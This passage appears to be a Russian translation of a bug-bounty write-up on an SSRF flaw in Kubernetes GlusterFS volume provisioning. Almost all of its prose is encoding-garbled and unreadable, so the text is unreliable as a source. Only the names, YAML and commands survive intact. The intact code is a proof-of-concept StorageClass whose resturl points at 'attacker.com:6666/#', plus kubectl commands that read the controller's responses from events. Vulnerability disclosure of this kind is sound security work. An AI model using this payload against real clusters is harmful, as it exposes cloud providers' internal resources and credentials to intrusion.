ΠΡΠΈΠΌ. ΠΏΠ΅ΡΠ΅Π².: Π°Π²ΡΠΎΡΡ ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠΈ Π² ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΡΡ
ΡΠ°ΡΡΠΊΠ°Π·ΡΠ²Π°ΡΡ ΠΎ ΡΠΎΠΌ, ΠΊΠ°ΠΊ ΠΈΠΌ ΡΠ΄Π°Π»ΠΎΡΡ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ
ΠΡΠΎ ΠΌΡ ΡΠ°ΠΊΠΈΠ΅
ΠΡ β Π΄Π²Π° ΡΡΠ°Π½ΡΡΠ·ΡΠΊΠΈΡ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Ρ Π² ΠΎΠ±Π»Π°ΡΡΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠΎΠ²ΠΌΠ΅ΡΡΠ½ΠΎ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΠ»ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Kubernetes. ΠΠ°Ρ Π·ΠΎΠ²ΡΡ Brice Augras ΠΈ Christophe Hauquiert, Π½ΠΎ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΡ Bug Bounty-ΠΏΠ»Π°ΡΡΠΎΡΠΌΠ°Ρ ΠΌΡ ΠΈΠ·Π²Π΅ΡΡΠ½Ρ ΠΊΠ°ΠΊ Reeverzax ΠΈ Hach ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎ:
-
Brice Augras βGroupe Asten Company ; -
Christophe Hauquiert β Π°ΡΡ ΠΈΡΠ΅ΠΊΡΠΎΡ Kubernetes Π² Nokia.
Π§ΡΠΎ ΠΏΡΠΎΠΈΠ·ΠΎΡΠ»ΠΎ?
ΠΡΠ° ΡΡΠ°ΡΡΡ β Π½Π°Ρ ΡΠΏΠΎΡΠΎΠ± ΡΠ°ΡΡΠΊΠ°Π·Π°ΡΡ ΠΎ ΡΠΎΠΌ, ΠΊΠ°ΠΊ ΡΡΠ΄ΠΎΠ²ΠΎΠΉ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠΉ ΠΏΡΠΎΠ΅ΠΊΡ Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½ΠΎ ΠΏΡΠ΅Π²ΡΠ°ΡΠΈΠ»ΡΡ Π² ΡΠ°ΠΌΠΎΠ΅ ΡΠ²Π»Π΅ΠΊΠ°ΡΠ΅Π»ΡΠ½ΠΎΠ΅ ΠΏΡΠΈΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ Π² ΠΆΠΈΠ·Π½ΠΈ ΠΎΡ ΠΎΡΠ½ΠΈΠΊΠΎΠ² Π·Π° Π±Π°Π³Π°ΠΌΠΈ (ΠΏΠΎ ΠΊΡΠ°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅ΡΠ΅, Π½Π° Π΄Π°Π½Π½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ).
ΠΠ°ΠΊ Π²Π°ΠΌ, Π½Π°Π²Π΅ΡΠ½ΠΎΠ΅, ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎ, Ρ ΠΎΡ ΠΎΡΠ½ΠΈΠΊΠΎΠ² Π·Π° Π±Π°Π³Π°ΠΌΠΈ Π΅ΡΡΡ ΠΏΠ°ΡΠ° ΠΏΡΠΈΠΌΠ΅ΡΠ°ΡΠ΅Π»ΡΠ½ΡΡ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡΠ΅ΠΉ:
- ΠΎΠ½ΠΈ ΠΆΠΈΠ²ΡΡ Π½Π° ΠΏΠΈΡΡΠ°Ρ ΠΈ ΠΏΠΈΠ²Π΅;
- ΠΎΠ½ΠΈ ΡΠ°Π±ΠΎΡΠ°ΡΡ ΡΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Π²ΡΠ΅ ΠΎΡΡΠ°Π»ΡΠ½ΡΠ΅ ΡΠΏΡΡ.
ΠΡ Π½Π΅ ΠΈΡΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΈΠ· ΡΡΠΈΡ ΠΏΡΠ°Π²ΠΈΠ»: ΠΎΠ±ΡΡΠ½ΠΎ Π²ΡΡΡΠ΅ΡΠ°Π΅ΠΌΡΡ Π² Π²ΡΡ ΠΎΠ΄Π½ΡΠ΅ Π΄Π½ΠΈ ΠΈ ΠΏΡΠΎΠ²ΠΎΠ΄ΠΈΠΌ Π±Π΅ΡΡΠΎΠ½Π½ΡΠ΅ Ρ Π°ΠΊΠ΅ΡΡΠΊΠΈΠ΅ Π½ΠΎΡΠΈ. ΠΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· ΡΠ°ΠΊΠΈΡ Π½ΠΎΡΠ΅ΠΉ Π·Π°ΠΊΠΎΠ½ΡΠΈΠ»Π°ΡΡ Π²Π΅ΡΡΠΌΠ° Π½Π΅ΠΎΠ±ΡΡΠ½ΠΎ.
ΠΠ·Π½Π°ΡΠ°Π»ΡΠ½ΠΎ ΠΌΡ ΡΠΎΠ±ΠΈΡΠ°Π»ΠΈΡΡ Π²ΡΡΡΠ΅ΡΠΈΡΡΡΡ, ΡΡΠΎΠ±Ρ ΠΎΠ±ΡΡΠ΄ΠΈΡΡ ΡΡΠ°ΡΡΠΈΠ΅ Π²
Π 11 Π²Π΅ΡΠ΅ΡΠ° ΡΠ΅Π»ΠΈ Π·Π° ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΡ, Π° ΡΠΏΠ°ΡΡ ΠΎΡΠΏΡΠ°Π²ΠΈΠ»ΠΈΡΡ ΡΠ°Π½ΠΎ ΡΡΡΠΎΠΌ, Π²Π΅ΡΡΠΌΠ° ΡΠ΄ΠΎΠ²Π»Π΅ΡΠ²ΠΎΡΠ΅Π½Π½ΡΠ΅ ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠ°ΠΌΠΈ. ΠΠΌΠ΅Π½Π½ΠΎ ΠΈΠ·-Π·Π° ΡΡΠΈΡ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠΉ ΠΌΡ Π½Π°ΡΠΊΠ½ΡΠ»ΠΈΡΡ Π½Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ MSRC Bug Bounty ΠΈ ΠΏΡΠΈΠ΄ΡΠΌΠ°Π»ΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ Ρ ΡΡΠΊΠ°Π»Π°ΡΠΈΠ΅ΠΉ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.
ΠΡΠΎΡΠ»ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π½Π΅Π΄Π΅Π»Ρ/ΠΌΠ΅ΡΡΡΠ΅Π², ΠΈ Π½Π°Ρ Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½ΡΠΉ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ» ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΎΠ΄Π½Ρ ΠΈΠ· ΡΠ°ΠΌΡΡ Π²ΡΡΠΎΠΊΠΈΡ Π½Π°Π³ΡΠ°Π΄ Π² ΠΈΡΡΠΎΡΠΈΠΈ Azure Cloud Bug Bounty β Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΡΠΎΠΉ, ΠΊΠΎΡΠΎΡΡΡ ΠΌΡ ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΈ ΠΎΡ Kubernetes!
ΠΠΎ ΠΌΠΎΡΠΈΠ²Π°ΠΌ Π½Π°ΡΠ΅Π³ΠΎ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΎΠ³ΠΎ ΠΏΡΠΎΠ΅ΠΊΡΠ° ΠΊΠΎΠΌΠΈΡΠ΅Ρ Kubernetes Product Security Committee ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»
Π’Π΅ΠΏΠ΅ΡΡ Ρ ΠΎΡΠ΅Π»ΠΎΡΡ Π±Ρ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π±ΠΎΠ»ΡΡΠ΅ ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½ΠΈΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ. ΠΠ°Π΄Π΅Π΅ΠΌΡΡ, Π²Ρ ΠΎΡΠ΅Π½ΠΈΡΠ΅ Π½Π°Ρ ΠΎΠ΄ΠΊΡ ΠΈ ΠΏΠΎΠ΄Π΅Π»ΠΈΡΠ΅ΡΡ ΡΠ΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΡΠΌΠΈ Ρ Π΄ΡΡΠ³ΠΈΠΌΠΈ ΡΠ»Π΅Π½Π°ΠΌΠΈ infosec-ΡΠΎΠΎΠ±ΡΠ΅ΡΡΠ²Π°!
ΠΡΠ°ΠΊ, Π²ΠΎΡ Π½Π°ΡΠ° ΠΈΡΡΠΎΡΠΈΡβ¦
ΠΠΎΠ½ΡΠ΅ΠΊΡΡ
Π§ΡΠΎΠ±Ρ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡΠ½ΠΎ ΠΏΠΎΠ»Π½ΠΎ Π΄ΠΎΠ²Π΅ΡΡΠΈ ΡΠΌΡΡΠ» ΠΏΡΠΎΠΈΠ·ΠΎΡΠ΅Π΄ΡΠ΅Π³ΠΎ, Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠ½Π°ΡΠ°Π»Π° ΡΠ°ΡΡΠΌΠΎΡΡΠΈΠΌ, ΠΊΠ°ΠΊ Kubernetes ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Π² ΡΡΠ»ΠΎΠ²ΠΈΡΡ ΠΎΠ±Π»Π°ΡΠ½ΠΎΠΉ ΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΠΎΠΉ ΡΡΠ΅Π΄Ρ.
ΠΠΎΠ³Π΄Π° Π²Ρ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ ΠΊΠ»Π°ΡΡΠ΅ΡΠ° Kubernetes Π² ΡΠ°ΠΊΠΎΠΉ ΡΡΠ΅Π΄Π΅, Π·Π° ΡΠ°Π±ΠΎΡΡ ΡΠΏΡΠ°Π²Π»ΡΡΡΠ΅Π³ΠΎ ΡΠ»ΠΎΡ ΠΎΠ±ΡΡΠ½ΠΎ ΠΎΡΠ²Π΅ΡΠ°Π΅Ρ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊ ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΡΡΠ»ΡΠ³:
Π£ΠΏΡΠ°Π²Π»ΡΡΡΠΈΠΉ ΡΠ»ΠΎΠΉ ΡΠ°ΡΠΏΠΎΠ»Π°Π³Π°Π΅ΡΡΡ Π² ΠΏΠ΅ΡΠΈΠΌΠ΅ΡΡΠ΅ ΠΎΠ±Π»Π°ΡΠ½ΠΎΠ³ΠΎ ΠΏΡΠΎΠ²Π°ΠΉΠ΄Π΅ΡΠ°, Π² ΡΠΎ Π²ΡΠ΅ΠΌΡ ΠΊΠ°ΠΊ ΡΠ·Π»Ρ Kubernetes Π½Π°Ρ
ΠΎΠ΄ΡΡΡΡ Π² ΠΏΠ΅ΡΠΈΠΌΠ΅ΡΡΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΠ°
ΠΠ»Ρ Π΄ΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π²ΡΠ΄Π΅Π»Π΅Π½ΠΈΡ ΡΠΎΠΌΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌ ΠΈΡ Π΄ΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΈΠ· Π²Π½Π΅ΡΠ½Π΅Π³ΠΎ storage-Π±ΡΠΊΠ΅Π½Π΄Π° ΠΈ ΡΠΎΠΏΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ Ρ PVC (persistent volume claim, Ρ.Π΅. Π·Π°ΠΏΡΠΎΡΠΎΠΌ Π½Π° ΡΠΎΠΌ).
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΏΠΎΡΠ»Π΅ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ PVC ΡΠΎΠ·Π΄Π°Π½ ΠΈ ΠΏΡΠΈΠ²ΡΠ·Π°Π½ ΠΊ StorageClass’Ρ Π² ΠΊΠ»Π°ΡΡΠ΅ΡΠ΅ K8s, Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠΈΠ΅ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ ΠΏΠΎ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΡΠΎΠΌΠ° Π±Π΅ΡΠ΅Ρ Π½Π° ΡΠ΅Π±Ρ kube/cloud controller manager (Π΅Π³ΠΎ ΡΠΎΡΠ½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ ΡΠ΅Π»ΠΈΠ·Π°). (ΠΡΠΈΠΌ. ΠΏΠ΅ΡΠ΅Π².: ΠΠΎΠ΄ΡΠΎΠ±Π½Π΅Π΅ ΠΏΡΠΎ CCM Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠ΅ Π΅Π³ΠΎ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ Π΄Π»Ρ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΎΠ±Π»Π°ΡΠ½ΡΡ
ΠΏΡΠΎΠ²Π°ΠΉΠ΄Π΅ΡΠΎΠ² ΠΌΡ ΡΠΆΠ΅ ΠΏΠΈΡΠ°Π»ΠΈ
Π‘ΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ°Π·Π½ΠΎΠ²ΠΈΠ΄Π½ΠΎΡΡΠ΅ΠΉ provisioner’ΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅ΠΌΡΡ
Kubernetes: Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ ΠΈΠ· Π½ΠΈΡ
Π²ΠΊΠ»ΡΡΠ΅Π½Ρ Π²
Π ΡΠ²ΠΎΠ΅ΠΌ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠΈ ΠΌΡ ΡΡΠΎΠΊΡΡΠΈΡΠΎΠ²Π°Π»ΠΈΡΡ Π½Π° Π²Π½ΡΡΡΠ΅Π½Π½Π΅ΠΌ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠ΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΡΠΎΠΌΠΎΠ², ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΡΠΎΠΈΠ»Π»ΡΡΡΡΠΈΡΠΎΠ²Π°Π½ Π½ΠΈΠΆΠ΅:
ΠΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΎΠ΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΡΠΎΠΌΠΎΠ² Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π²ΡΡΡΠΎΠ΅Π½Π½ΠΎΠ³ΠΎ provisioner’Π° Kubernetes
ΠΡΠ»ΠΈ Π²ΠΊΡΠ°ΡΡΠ΅, ΠΊΠΎΠ³Π΄Π° Kubernetes ΡΠ°Π·Π²Π΅ΡΠ½ΡΡ Π² ΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΠΎΠΉ ΡΡΠ΅Π΄Π΅, Π·Π° ΡΠ°Π±ΠΎΡΡ controller manager’Π° ΠΎΡΠ²Π΅ΡΠ°Π΅Ρ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊ ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΡΡΠ»ΡΠ³, Π½ΠΎ Π·Π°ΠΏΡΠΎΡ Π½Π° ΡΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΡΠΎΠΌΠ° (Π½ΠΎΠΌΠ΅Ρ 3 Π½Π° ΡΡ Π΅ΠΌΠ΅ Π²ΡΡΠ΅) ΠΏΠΎΠΊΠΈΠ΄Π°Π΅Ρ ΠΏΡΠ΅Π΄Π΅Π»Ρ Π²Π½ΡΡΡΠ΅Π½Π½Π΅ΠΉ ΡΠ΅ΡΠΈ ΠΎΠ±Π»Π°ΡΠ½ΠΎΠ³ΠΎ ΠΏΡΠΎΠ²Π°ΠΉΠ΄Π΅ΡΠ°. Π Π²ΠΎΡ ΡΡΡ-ΡΠΎ ΡΠΈΡΡΠ°ΡΠΈΡ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ ΠΏΠΎ-Π½Π°ΡΡΠΎΡΡΠ΅ΠΌΡ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎΠΉ!
Π‘ΡΠ΅Π½Π°ΡΠΈΠΉ Π²Π·Π»ΠΎΠΌΠ°
Π ΡΡΠΎΠΌ ΡΠ°Π·Π΄Π΅Π»Π΅ ΠΌΡ ΡΠ°ΡΡΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈΡΡ ΡΠΏΠΎΠΌΡΠ½ΡΡΡΠΌ Π²ΡΡΠ΅ ΡΠ°Π±ΠΎΡΠΈΠΌ ΠΏΡΠΎΡΠ΅ΡΡΠΎΠΌ ΠΈ ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΈ Π΄ΠΎΡΡΡΠΏ ΠΊΠΎ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΠΌ ΡΠ΅ΡΡΡΡΠ°ΠΌ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠ° ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΡΡΠ»ΡΠ³. ΠΡΠΎΠΌΠ΅ ΡΠΎΠ³ΠΎ, Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΡΡΠ΅ΡΡΠ²ΠΈΡΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠ΅ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ β Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΠΎΠ»ΡΡΠΈΡΡ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΠ΅ ΡΡΠ΅ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ»ΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠΈ ΡΡΠΊΠ°Π»Π°ΡΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.
ΠΠ΄Π½Π° ΠΏΡΠΎΡΡΠ°Ρ ΠΌΠ°Π½ΠΈΠΏΡΠ»ΡΡΠΈΡ (Π² Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΡΡΠΎ Service Side Request Forgery) ΠΏΠΎΠΌΠΎΠ³Π»Π° Π²ΡΠΉΡΠΈ Π·Π° ΠΏΡΠ΅Π΄Π΅Π»Ρ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠΎΠΉ ΡΡΠ΅Π΄Ρ Π² ΠΊΠ»Π°ΡΡΠ΅ΡΠ°Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠΎΠ² ΡΡΠ»ΡΠ³ ΠΏΠΎ ΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΠΎΠΌΡ K8s.
Π ΡΠ²ΠΎΠΈΡ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΡΡ ΠΌΡ ΡΠΎΡΡΠ΅Π΄ΠΎΡΠΎΡΠΈΠ»ΠΈΡΡ Π½Π° provisioner’Π΅ GlusterFS. ΠΠ΅ΡΠΌΠΎΡΡΡ Π½Π° ΡΠΎ, ΡΡΠΎ Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠ°Ρ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎΡΡΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΠΉ ΠΎΠΏΠΈΡΠ°Π½Π° Π² ΡΠ°ΠΊΠΎΠΌ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅, ΡΡΠΎΠΉ ΠΆΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΏΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Ρ Quobyte, StorageOS ΠΈ ScaleIO.
ΠΠ»ΠΎΡΠΏΠΎΡΡΠ΅Π±Π»Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ
Π°Π½ΠΈΠ·ΠΌΠΎΠΌ Π΄ΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΡ ΡΠΎΠΌΠΎΠ²
ΠΠΎ Π²ΡΠ΅ΠΌΡ Π°Π½Π°Π»ΠΈΠ·Π° ΠΊΠ»Π°ΡΡΠ° Ρ
ΡΠ°Π½ΠΈΠ»ΠΈΡ GlusterFS Π² ΠΈΡΡ
ΠΎΠ΄Π½ΠΈΠΊΠ°Ρ
ΠΊΠ»ΠΈΠ΅Π½ΡΠ° Π½Π° Golang ΠΌΡ resturl
Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅ΡΡΡ /volumes
.
ΠΠ·Π±Π°Π²ΠΈΡΡΡΡ ΠΎΡ ΡΡΠΎΠ³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΠΎΠ³ΠΎ ΠΏΡΡΠΈ ΠΌΡ ΡΠ΅ΡΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ #
Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ resturl
. ΠΠΎΡ ΠΏΠ΅ΡΠ²Π°Ρ YAML-ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ, ΠΊΠΎΡΠΎΡΡΡ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈ Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ Β«ΠΏΠΎΠ»ΡΡΠ»Π΅ΠΏΠΎΠΉΒ» SSRF-ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ (ΠΏΠΎΠ΄ΡΠΎΠ±Π½Π΅Π΅ ΠΏΡΠΎ semi-blind ΠΈΠ»ΠΈ half-blind SSRF ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠΎΡΠΈΡΠ°ΡΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
ΠΠ°ΡΠ΅ΠΌ Π΄Π»Ρ ΡΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΠ»Π°ΡΡΠ΅ΡΠΎΠΌ Kubernetes Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈΡΡ Π±ΠΈΠ½Π°ΡΠ½ΠΈΠΊΠΎΠΌ kubectl. ΠΠ°ΠΊ ΠΏΡΠ°Π²ΠΈΠ»ΠΎ, ΠΎΠ±Π»Π°ΡΠ½ΡΠ΅ ΠΏΡΠΎΠ²Π°ΠΉΠ΄Π΅ΡΡ (Azure, Google, AWS ΠΈ Ρ Π΄.) ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΡΠ΅ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ Π΄Π»Ρ ΠΈΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π² ΡΡΠΎΠΉ ΡΡΠΈΠ»ΠΈΡΠ΅.
ΠΠ»Π°Π³ΠΎΠ΄Π°ΡΡ ΡΡΠΎΠΌΡ ΠΈ ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΎΡΡ ΠΏΡΠΈΠΌΠ΅Π½ΠΈΡΡ ΡΠ²ΠΎΠΉ Β«ΠΎΡΠΎΠ±Π΅Π½Π½ΡΠΉΒ» ΡΠ°ΠΉΠ». Kube-controller-manager Π²ΡΠΏΠΎΠ»Π½ΠΈΠ» ΡΠ΅Π·ΡΠ»ΡΡΠΈΡΡΡΡΠΈΠΉ HTTP-Π·Π°ΠΏΡΠΎΡ:
kubectl create -f sc-poc.yaml
ΠΡΠ²Π΅Ρ Ρ ΡΠΎΡΠΊΠΈ Π·ΡΠ΅Π½ΠΈΡ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ
ΠΡΠΊΠΎΡΠ΅ ΠΏΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΠΌΡ ΡΠ°ΠΊΠΆΠ΅ ΡΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡΡΠΈΡΡ HTTP-ΠΎΡΠ²Π΅Ρ ΠΎΡ ΡΠ΅Π»Π΅Π²ΠΎΠ³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ° β ΡΠ΅ΡΠ΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Ρ describe pvc
ΠΈΠ»ΠΈ get events
Π² kubectl. Π Π΄Π΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ: ΡΡΠΎΡ Π΄ΡΠ°ΠΉΠ²Π΅Ρ Kubernetes ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΡΠ»ΠΈΡΠΊΠΎΠΌ ΠΌΠ½ΠΎΠ³ΠΎΡΠ»ΠΎΠ²Π΅Π½ Π² ΡΠ²ΠΎΠΈΡ
ΠΏΡΠ΅Π΄ΡΠΏΡΠ΅ΠΆΠ΄Π΅Π½ΠΈΡΡ
/ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡΡ
ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ°Ρ
β¦
ΠΠΎΡ ΠΏΡΠΈΠΌΠ΅Ρ Ρ ΡΡΡΠ»ΠΊΠΎΠΉ Π½Π° https://www.google.fr
, ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ° resturl
:
kubectl describe pvc poc-ssrf
# ΠΈΠ»ΠΈ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ kubectl get events
Π ΡΠ°ΠΌΠΊΠ°Ρ
ΡΠ°ΠΊΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ
